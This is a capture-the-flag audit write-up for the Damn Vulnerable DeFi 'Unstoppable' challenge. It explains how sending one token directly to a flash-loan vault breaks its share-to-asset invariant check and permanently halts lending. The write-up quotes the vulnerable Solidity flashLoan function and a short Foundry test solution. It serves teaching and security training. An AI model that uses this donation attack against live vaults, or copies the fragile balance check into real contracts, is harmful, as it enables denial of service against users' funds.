Damn Vulnerable Defi Finding Report

Version 1.0

Elia Bordoni

October 28, 2025

Damn Vulnerable DeFi Unstoppable Finding Report

Elia Bordoni

October 28, 2025

Prepared by: Elia Bordoni

Table of Contents

- Table of Contents
- Exercise Summary
- Audit Details
  - Scope
  - Tool Used
- Findings
  - [S-H] DOS due to inveariant breaks

Exercise Summary

There's a tokenized vault with a million DVT tokens deposited. It's offering flash loans for free, until the grace period ends. To catch any bugs before going 100% permissionless, the developers decided to run a live beta in testnet. There's a monitoring contract to check liveness of the flashloan feature. Starting with 10 DVT tokens in balance, show that it's possible to halt the vault. It must stop offering flash loans.

Audit Details

Scope

- Unstoppable.sol

Tool Used

- manual review

Findings

[S-H] DOS due to inveariant breaks

Description The vault relies on the invariant that the total number of shares must always correspond to the total value of the underlying tokens. When users call the `UnstoppableVault::deposit` function, they receive share tokens that maintain this 1:1 relationship between shares and underlying assets. However, the contract also exposes a `UnstoppableVault::transfer` function. If an external user directly transfers even a single underlying token to the vault, the invariant will be permanently broken, as the contract's balance of underlying tokens will exceed the value represented by the total supply of shares.

vulnerability

```
function flashLoan(IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data)
        external
        returns (bool)
    {
        if (amount == 0) revert InvalidAmount(0); // fail early
        if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
        uint256 balanceBefore = totalAssets();
        //@audit-issue this is the vulbnerable line, attacker can break it sending tokens directly to the vault
@>      if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement

        // transfer tokens out + execute callback on receiver
        ERC20(_token).safeTransfer(address(receiver), amount);

        // callback must return magic value, otherwise assume it failed
        uint256 fee = flashFee(_token, amount);
        if (
            receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data)
                != keccak256("IERC3156FlashBorrower.onFlashLoan")
        ) {
            revert CallbackFailed();
        }

        // pull amount + fee from receiver, then pay the fee to the recipient
        ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
        ERC20(_token).safeTransfer(feeRecipient, fee);

        return true;
    }
```

Impact This results in a permanent Denial of Service (DOS) for the flash loan functionality, since the check `convertToShares(totalSupply)== totalAssets()` will always fail.

ProofOfConcept Add the following to the `Unstoppable.t.sol` test file on `Unstoppable.t.sol::test_unstoppable` and run the test. Check log to see `UnstoppableVault::convertToShares(totalSupply)` and `UnstoppableVault::totalAssets()` values.

Test Code

```
    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_unstoppable() public checkSolvedByPlayer {
        token.transfer(address(vault), 1);
        console.log("total supply convertToShares: ", vault.convertToShares(vault.totalSupply()));
        console.log("total assets:                 ", vault.totalAssets());
    }
```